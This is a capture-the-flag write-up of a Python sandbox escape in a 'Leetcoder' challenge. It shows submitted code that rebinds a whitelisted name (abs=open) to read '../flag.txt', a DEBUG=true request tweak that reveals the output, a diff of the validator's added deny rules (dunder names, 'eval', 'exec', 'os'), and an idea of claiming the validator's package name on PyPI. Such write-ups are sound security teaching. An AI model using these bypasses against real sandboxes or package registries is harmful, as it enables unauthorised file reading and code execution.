Skip to content
Go back

USCG Open Season 5: Leetcoder - Python Sandbox Escape

Published:  at  03:00 PM

By: mr_mph

image.png

We can write a solution to pass the testcases, but it doesn’t get us the flag

def myfunc(nums):
    for i in range(1, len(nums)):
        key = nums[i]
        j = i - 1
        while j >= 0 and nums[j] > key:
            nums[j + 1] = nums[j]
            j -= 1
        nums[j + 1] = key
    return nums

We can’t call open() but we can call some whitelisted funcs like abs()

image.png

so what if we just assign abs=open

then we can just call open() as abs()

This works!

def myfunc(nums):
    abs = open
    flag = abs('../flag.txt')
    txt = ""
    nums = []
    for char in flag:
        nums += char
    return nums

though we can’t see the output from this, just the now failing testcases

image.png

Luckily we can modify the POST request to have DEBUG=true, and our submitted nums array is shown. It gives:

['S', 'V', 'U', 'S', 'C', 'G', '{', '8', '2', 'a', '9', '5', 'b', 'c', '2', 'b', 'a', '2', 'a', '2', '9', '3', '0', '3', '6', 'a', '1', '1', 'c', '2', 'd', '8', 'e', 'b', '4', '6', '3', 'c', '7', '}']

Nice! flag: SVUSCG{82a95bc2ba2a293036a11c2d8eb463c7}

How I got the idea of abs=open (side channel)

My very first thought on this challenge was if we could claim uscg-leetcode-validatoron pypi. To prevent this, the challenge author tsuto claimed the package already. But he also claimed uscg-leetcode-validator-2 , a new version for his revenge challenge 🤔

if we download and diff the two packages, we can see what the difference is:

$ diff -r uscg_leetcode_validator-1.0.7/ uscg_leetcode_validator_2-1.0.0/
>         if isinstance(node, ast.Name):
>             if node.id.startswith("__"):
>                 raise ValueError(f"Use '{node.id}' is not allowed.")
>
>         if isinstance(node, ast.Constant) and isinstance(node.value, str):
>             if node.value.startswith("__"):
>                 raise ValueError("Use of dunder strings is not allowed.")
>
>         if isinstance(node, ast.Assign):
>             for target in node.targets:
>                 if isinstance(target, ast.Name) and target.id in SAFE_FUNCTIONS:
>                     raise ValueError(f"Reassignment of built-in function '{target.id}' is not allowed.")
>
>         if isinstance(node, ast.Call):
>             if isinstance(node.func, ast.Name) and node.func.id not in SAFE_FUNCTIONS:
>                 raise ValueError(f"Function call to '{node.func.id}' is not allowed.")
>
>             # Detect indirect dangerous strings passed to functions
>             for arg in node.args:
>                 if isinstance(arg, ast.Constant) and isinstance(arg.value, str):
>                     if any(x in arg.value for x in ["eval", "exec", "__import__", "os", "flag"]):
>                         raise ValueError("Suspicious string constant found.")
>
>         if isinstance(node, ast.Constant):
>             if not isinstance(node.value, (int, float)):
>                 raise ValueError("Only numeric constants are allowed.")

so if the patch is to add these extra protections, maybe in the original we can do something with either dunder or assignment? and that’s how I got the idea to assign one function to another to bypass whitelist checks.


Share this post on:

Previous Writeup
USCG Open Season 5: Deep-Fried-Inator - Path Traversal to RCE
Next Writeup
USCG Open Season 5: Burger Converter - XSS + CORS Admin Takeover